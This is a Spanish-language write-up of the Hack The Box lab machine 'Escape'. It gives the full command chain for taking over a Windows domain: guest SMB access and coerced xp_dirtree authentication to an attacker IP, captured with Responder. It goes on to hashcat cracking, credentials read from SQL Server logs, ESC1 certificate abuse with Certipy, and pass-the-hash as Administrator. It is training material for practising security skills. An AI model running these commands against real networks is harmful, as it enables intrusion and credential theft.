Buscar en BreakSecure

Contenido recomendado

Escape

Escape es una máquina Windows de Hack The Box enfocada en Active Directory, MSSQL y AD CS. El recorrido incluye captura de un hash NTLMv2 mediante xp_dirtree, exposición de credenciales en logs de SQL Server y explotación de ESC1 para comprometer al Administrator del dominio.

Portada de Escape
Plataforma
Hack The Box
Sistema operativo
Windows
Dificultad
Intermedio
Publicado
Autor
Pedro Vargas
Temas
  • Active Directory
  • SMB
  • MSSQL
  • Xp Dirtree
  • Responder
  • Hashcat
  • Esc1
  • ADCS
  • Certipy
  • Pass The Hash
En esta página

Resumen

Escape es una máquina Windows de Hack The Box donde comenzaremos accediendo como Guest a un recurso SMB que expone credenciales de MSSQL. Desde SQL Server forzaremos una autenticación hacia nuestra máquina para capturar el hash NTLMv2 de sql_svc, que nos permitirá conseguir acceso mediante WinRM. Posteriormente encontraremos las credenciales de Ryan.Cooper en los logs de SQL Server y explotaremos una configuración vulnerable ESC1 de Active Directory Certificate Services para terminar autenticándonos como Administrator.

Enumeración

Comenzamos realizando un escaneo completo de puertos:

nmap -p- -vvv --open 10.129.228.253

Los resultados nos muestran bastantes servicios característicos de un Domain Controller, entre ellos Kerberos, LDAP, SMB, LDAPS, Global Catalog y WinRM.

También encontramos:

1433 - Microsoft SQL Server

Tenemos entonces un entorno Active Directory con MSSQL expuesto, así que hay bastantes lugares por donde comenzar. 🔎

Durante la enumeración identificamos también el dominio:

sequel.htb

Lo añadimos a /etc/hosts:

10.129.228.253 sequel.htb

Enumeración SMB

Comenzamos comprobando si SMB permite algún tipo de acceso sin credenciales válidas:

nxc smb 10.129.228.253 -u 'anx' -p '' --shares

anx aquí simplemente es un usuario inventado; lo importante es comprobar qué información podemos obtener sin disponer todavía de una cuenta válida.

Entre los resultados aparecen recursos como:

Public
IPC$

Y tenemos acceso de lectura sobre Public.

Nos conectamos:

smbclient //sequel.htb/Public -N

Dentro encontramos:

SQL Server Procedures.pdf

Descargamos el PDF y, al revisarlo, encontramos unas credenciales temporales para acceder al servidor SQL:

PublicUser:GuestUserCantWrite1

🎯 Tenemos nuestro primer punto de entrada.

Acceso a MSSQL

Inicialmente probé las credenciales utilizando autenticación de Windows:

impacket-mssqlclient sequel.htb/PublicUser:GuestUserCantWrite1@sequel.htb -windows-auth

Pero no funciona.

Aquí es importante diferenciar los métodos de autenticación.

Con -windows-auth le indicamos a mssqlclient que intente autenticarse utilizando Windows Authentication, es decir, tratando las credenciales como una identidad Windows/Active Directory.

Sin embargo, PublicUser es una cuenta configurada directamente dentro de SQL Server, por lo que debemos utilizar autenticación propia de MSSQL.

Probamos entonces:

impacket-mssqlclient 'PublicUser:GuestUserCantWrite1@sequel.htb'

Y esta vez conseguimos entrar. 🎯

Forzando autenticación con xp_dirtree

El usuario de MSSQL tiene permisos bastante limitados, así que no podemos simplemente habilitar xp_cmdshell y ejecutar comandos.

Sin embargo, existe otra posibilidad.

SQL Server dispone de procedimientos que pueden intentar acceder a rutas UNC. Uno de ellos es:

xp_dirtree

Si hacemos que SQL Server intente acceder a un recurso SMB alojado en nuestra máquina atacante, Windows intentará autenticarse contra nosotros utilizando la cuenta bajo la que se ejecuta el servicio SQL Server.

Podemos aprovechar ese comportamiento para capturar su autenticación NTLM. 😈

Preparando Responder

Desde Kali dejamos Responder escuchando sobre nuestra interfaz de HTB:

responder -I tun0 -v

Ahora, desde nuestra sesión MSSQL, forzamos una conexión hacia nuestra máquina:

EXEC master.sys.xp_dirtree '//10.10.17.149/test', 1, 1;

SQL Server intenta acceder al recurso SMB y Responder captura automáticamente una autenticación correspondiente a:

sequel\sql_svc

junto con su NetNTLMv2 challenge-response.

No estamos capturando directamente el NT hash ni la contraseña: obtenemos material de autenticación NetNTLMv2 que podemos intentar crackear offline.

Crackeando el NetNTLMv2

Guardamos el valor capturado en un archivo y utilizamos Hashcat.

Para NetNTLMv2 utilizamos el modo:

5600

Por ejemplo:

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

Hashcat consigue recuperar la contraseña:

sql_svc:REGGIE1234ronnie

Ya tenemos una cuenta real del dominio. 🔑

Acceso como sql_svc

Comprobamos si permite acceso mediante WinRM y nos conectamos:

evil-winrm -i sequel.htb -u sql_svc -p 'REGGIE1234ronnie'

Conseguimos una sesión como:

sequel\sql_svc

Ahora toca enumerar la máquina desde dentro.

Credenciales en los logs de SQL Server

Durante la enumeración encontramos:

C:\SQLServer

y dentro:

C:\SQLServer\Logs

Uno de los archivos que llama especialmente la atención es:

ERRORLOG.BAK

Al revisar el log encontramos varios intentos de autenticación fallidos.

Primero aparece un intento para:

sequel.htb\Ryan.Cooper

y posteriormente aparece otro intento donde el supuesto nombre de usuario es:

NuclearMosquito3

Esto tiene toda la pinta de un error humano bastante clásico. 😅

Probablemente Ryan intentó autenticarse, falló y posteriormente escribió su contraseña en el campo de usuario.

Así obtenemos:

Ryan.Cooper:NuclearMosquito3

Tenemos nuestro siguiente usuario.

Enumeración de AD CS

Con las credenciales de Ryan comenzamos a investigar Active Directory Certificate Services utilizando Certipy:

certipy-ad find -username 'Ryan.Cooper@sequel.htb' -password 'NuclearMosquito3' -dc-ip 10.129.228.253

Certipy enumera la infraestructura de certificados del dominio y detecta una plantilla vulnerable.

Encontramos:

CA Name       : sequel-DC-CA
Template Name : UserAuthentication

Y lo más importante:

ESC1

🎯 Tenemos nuestro vector de escalamiento.

¿Qué es ESC1?

ESC1 aparece cuando una plantilla de certificados permite que usuarios con permisos de enrolamiento puedan especificar una identidad alternativa dentro de la solicitud y el certificado resultante sea válido para autenticación.

En otras palabras, aunque nosotros seamos Ryan.Cooper, podemos solicitar un certificado indicando:

administrator@sequel.htb

Si la CA acepta esa solicitud y genera el certificado, tendremos material criptográfico válido para autenticarnos frente a Active Directory como Administrator.

Eso convierte una mala configuración de la plantilla en un camino directo hacia el compromiso del dominio. 🔥

Solicitando el certificado de Administrator

Utilizamos Certipy:

certipy-ad req -u 'Ryan.Cooper@sequel.htb' -p 'NuclearMosquito3' -upn 'administrator@sequel.htb' -target sequel.htb -ca sequel-DC-CA -template UserAuthentication

La solicitud funciona y obtenemos:

administrator.pfx

El archivo PFX contiene el certificado y su clave privada.

Ahora podemos utilizarlo para intentar autenticarnos como Administrator.

Autenticación con el certificado

Ejecutamos:

certipy-ad auth -pfx administrator.pfx -domain sequel.htb -dc-ip 10.129.228.253

Sin embargo, inicialmente obtenemos:

KRB_AP_ERR_SKEW
Clock skew too great

Kerberos depende fuertemente de que exista una diferencia de tiempo aceptable entre cliente y servidor. Si nuestro reloj está demasiado desincronizado respecto al Domain Controller, la autenticación será rechazada.

Deshabilitamos temporalmente la sincronización automática:

timedatectl set-ntp false

Y sincronizamos nuestra hora con el DC:

ntpdate 10.129.228.253

Volvemos a ejecutar:

certipy-ad auth -pfx administrator.pfx -domain sequel.htb -dc-ip 10.129.228.253

Esta vez la autenticación funciona. 🎯

Certipy utiliza el certificado para autenticarse mediante Kerberos/PKINIT y finalmente recuperamos el NT hash correspondiente a:

Administrator

Ya no necesitamos conocer su contraseña.

Pass-the-Hash

Utilizamos la segunda parte del hash recuperado, correspondiente al NT hash, para realizar un Pass-the-Hash mediante Evil-WinRM:

evil-winrm -i 10.129.228.253 -u Administrator -H 'a52f78e4c751e5f5e17e1e9f3e58f4ee'

La autenticación funciona.

Comprobamos:

whoami

Y obtenemos:

sequel\administrator

¡Escape completada! 🚩

Conclusiones

Escape tiene un recorrido muy bueno para entender cómo diferentes errores pueden encadenarse dentro de Active Directory: unas credenciales expuestas nos llevan a MSSQL, xp_dirtree permite capturar la autenticación de sql_svc, los logs revelan las credenciales de Ryan y finalmente una plantilla vulnerable a ESC1 permite suplantar a Administrator mediante certificados.

Herramientas utilizadas

  • Nmap
  • NetExec
  • smbclient
  • Impacket
  • mssqlclient
  • Responder
  • Hashcat
  • Evil-WinRM
  • Certipy
  • ntpdate

Referencias

https://www.youtube.com/watch?v=yWSoSStgglA